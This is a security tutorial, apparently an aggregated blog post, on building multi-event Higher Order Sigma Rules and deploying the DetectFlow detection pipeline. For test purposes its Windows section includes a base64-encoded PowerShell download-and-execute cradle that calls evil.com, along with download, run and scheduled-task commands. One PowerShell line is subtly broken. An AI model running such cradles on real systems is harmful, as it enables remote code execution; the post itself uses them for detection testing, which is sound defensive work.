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Introduction:
Security operations centers (SOCs) drown in alerts from single-event rules, missing the forest for the trees. Higher Order Sigma Rules (HOSR) introduce a paradigm shift: a tier-2 correlation system that processes pre-tagged events before they hit your SIEM, enabling multi-event, multi-device attack chain detection while slashing false positives. This article unpacks HOSR, shows you how to deploy SOC Prime’s DetectFlow open-source pipeline, and provides hands-on commands to build your own correlated detection rules.
Learning Objectives:
- Understand the architecture of Higher Order Sigma Rules and their role in attack chain correlation across time, hosts, and devices.
- Deploy and configure SOC Prime DetectFlow using Docker and Apache Kafka for real‑time event tagging.
- Write, test, and implement HOSR rules that combine multiple Sigma rule matches into actionable attack patterns.
You Should Know:
- What Are Higher Order Sigma Rules? Breaking the Single‑Event Barrier
Traditional Sigma rules fire on individual log events – a single process creation, a file write, or a network connection. HOSR supercharges this by chaining multiple base Sigma rule matches across a defined time window, using event fields like `hostname` or `user` as correlation keys. Think of it as a “meta‑detection” layer: first, standard Sigma rules tag incoming events; then HOSR evaluates sequences or combinations of those tags to identify multi‑step adversary behaviors (e.g., “RAR execution followed by scheduled task creation within 10 minutes on the same host”).
Key components of an HOSR rule (YAML format):
– `detection:` block with seq1, seq2, etc., each referencing base Sigma rule UUIDs.
– `timespan:` (e.g., 10m) – the correlation window.
– `condition:` – typically `all of them | chain() by hostname` to enforce ordered or unordered chaining.
Example snippet from the APT28 rule:
detection: seq1: ruleid|contains: - 'a92d8405-bf8b-4b2b-a0bc-e9e1255254f7' RAR execution - '9d3c0f31-8fa0-4ebe-ad3f-65cff1e9fb31' Self-extracting archive seq2: ruleid|contains: - '92626ddd-662c-49e3-ac59-f6535f12d189' Schtasks creation timespan: 10m condition: all of them | chain() by hostname
- Deploying SOC Prime DetectFlow on Linux (Docker‑Based Pipeline)
DetectFlow is the recommended open‑source engine to run HOSR. It ingests raw logs from Kafka, applies Sigma rules, tags events, and enables topic chaining for layered correlation. Below is a step‑by‑step deployment guide for a non‑commercial (EUPL license) setup.
Step 1: Install Docker and Docker Compose
sudo apt update && sudo apt install docker.io docker-compose -y sudo systemctl enable docker && sudo systemctl start docker
Step 2: Clone DetectFlow repository
git clone https://github.com/socprime/detectflow-main.git cd detectflow-main
Step 3: Configure Kafka and Flink workers
Edit `docker-compose.yml` to set your Kafka bootstrap servers and Sigma rule sources (e.g., SigmaHQ ruleset). Use the provided example environment file:
cp .env.example .env nano .env Set KAFKA_BROKERS, SIGMA_RULE_REPOS, etc.
Step 4: Start the pipeline
docker-compose up -d
Verify services:
docker ps | grep -E "kafka|flink|detectflow"
Step 5: Ingest sample logs into Kafka
Produce a Windows Event log (e.g., Sysmon Event 1 for process creation) to the `raw_logs` topic:
echo '{"EventID":1,"ProcessId":1234,"Image":"C:\Users\admin\Downloads\malware.exe","Hostname":"DESKTOP-ABC"}' | \
docker exec -i broker kafka-console-producer --bootstrap-server localhost:9092 --topic raw_logs
DetectFlow will automatically process, tag, and forward enriched events to `tagged_events` topic.
- Writing and Testing Your First HOSR Rule – Command Line Tutorial
Create a custom HOSR rule that detects a two‑step attack: encoded PowerShell download followed by MSHTA execution within 5 minutes on the same host.
Rule file (`custom_hosr.yaml`):
title: Encoded PowerShell to MSHTA Chain id: 550e8400-e29b-41d4-a716-446655440000 status: experimental author: SOC Analyst logsource: category: detectflow detection: seq1: ruleid|contains: - 'ca2092a1-c273-4878-9b4b-0d60115bf5ea' Suspicious encoded PowerShell seq2: ruleid|contains: - 'cc7abbd0-762b-41e3-8a26-57ad50d2eea3' MSHTA with suspicious extension timespan: 5m condition: all of them | chain() by hostname level: high
Load the rule into DetectFlow (assuming rule storage mounted at /rules):
cp custom_hosr.yaml /var/lib/detectflow/rules/ docker exec -it detectflow-worker sigma-cli rules reload
Simulate test events (using `kafka-console-producer`):
PowerShell encoded command event
echo '{"ruleid":"ca2092a1-c273-4878-9b4b-0d60115bf5ea","hostname":"PC01","@timestamp":"2025-04-28T10:00:00Z"}' | docker exec -i broker kafka-console-producer --topic tagged_events
MSHTA event 3 minutes later
echo '{"ruleid":"cc7abbd0-762b-41e3-8a26-57ad50d2eea3","hostname":"PC01","@timestamp":"2025-04-28T10:03:00Z"}' | docker exec -i broker kafka-console-producer --topic tagged_events
If correctly configured, DetectFlow will emit an HOSR alert to the `alerts` topic.
- Windows Commands to Generate Test Events for HOSR Validation
To realistically test your HOSR rules, simulate attacker behaviors on a Windows test machine instrumented with Sysmon and Event Log forwarding.
Simulate a self‑extracting RAR execution (T1204):
Download and run a benign self-extracting archive (use test file) Invoke-WebRequest -Uri "https://example.com/test.exe" -OutFile "$env:TEMP\test.exe" Start-Process "$env:TEMP\test.exe"
Create a scheduled task (T1053.005) from command line:
schtasks /create /tn "Updater" /tr "C:\Windows\System32\calc.exe" /sc once /st 12:00 /f
Generate encoded PowerShell (T1059.001) that simulates download cradle:
$command = "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [bash]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encoded
Enumerate system info with whoami (T1033):
whoami /all
Each command creates log events (ProcessCreation, FileCreate, etc.) that, when tagged by base Sigma rules, become building blocks for HOSR correlation.
- Integrating HOSR with Cloud and Query Engines (Beyond SIEM)
As noted by Will LaForest, HOSR logic isn’t tied to streaming only. You can apply the same correlation patterns against data lakes using SQL engines like Trino, Athena, or Snowflake. This is ideal for historical threat hunting.
Example: Correlating tagged events in an Apache Iceberg table using Trino:
SELECT a.hostname, a.timestamp as first_event, b.timestamp as second_event FROM sigma_tagged_events a JOIN sigma_tagged_events b ON a.hostname = b.hostname WHERE a.ruleid = 'a92d8405-bf8b-4b2b-a0bc-e9e1255254f7' -- RAR execution AND b.ruleid = '92626ddd-662c-49e3-ac59-f6535f12d189' -- Schtasks AND b.timestamp BETWEEN a.timestamp AND a.timestamp + INTERVAL '10' MINUTE;
This query reproduces the HOSR `chain() by hostname` condition in pure SQL, making it portable across cloud data warehouses.
- Hardening Your Detection Pipeline: Reducing False Positives with MITRE ATT&CK Flows
HOSR eliminates noise by requiring multiple low‑confidence indicators to occur together. To further refine rules, map each HOSR step to MITRE ATT&CK techniques and use OpenTIDE threat vector objects. The APT28 example rule includes techniques:
– T1204 (User Execution)
– T1218.005 (MSHTA)
– T1059.001 (PowerShell)
– T1053.005 (Scheduled Task)
– T1033 (System Owner/User Discovery)
Tip: Enrich your DetectFlow pipeline with threat intelligence feeds (e.g., MISP, OpenTIDE) to dynamically adjust `timespan` and `condition` thresholds based on adversary behavior patterns.
- Linux Commands for Monitoring DetectFlow and Debugging HOSR
Use these commands to inspect pipeline health and rule processing.
View Kafka topic messages (tagged events):
docker exec -it broker kafka-console-consumer --bootstrap-server localhost:9092 --topic tagged_events --from-beginning --max-messages 10
Check Flink job logs for correlation errors:
docker logs flink-jobmanager --tail 50 | grep -i "hosr|correlation"
Reload Sigma rules without restarting the pipeline:
curl -X POST http://localhost:8080/api/v1/rules/reload
Monitor rule performance (matched events per second):
docker exec -it detectflow-worker sigma-cli metrics --rule-id 550e8400-e29b-41d4-a716-446655440000
What Undercode Say:
- HOSR shifts detection from reactive single‑event alerts to proactive attack chain validation, drastically reducing analyst fatigue.
- Open‑source DetectFlow makes enterprise‑grade correlation accessible – deployable on‑prem or air‑gapped, with EUPL license for non‑commercial use.
- Standards matter: HOSR remains compatible with Sigma’s YAML format, ensuring community rules work out‑of‑the‑box while adding powerful correlation primitives.
Prediction:
Within two years, Higher Order Sigma Rules will become a baseline requirement for SOC maturity models, rivaling SIEM correlation rules. As AI‑driven agentic correlation matures, we’ll see HOSR definitions generated automatically from MITRE ATT&CK Flow diagrams, enabling real‑time, adaptive attack chain detection without manual rule writing. The convergence of HOSR with data lake query engines will also blur the line between streaming detection and historical hunting – making “detection as code” universal across cloud and on‑prem environments. Organizations that adopt HOSR today will gain a decisive advantage in combating multi‑stage intrusions like ransomware and supply chain attacks.
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Reported By: Andriimb Higher – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
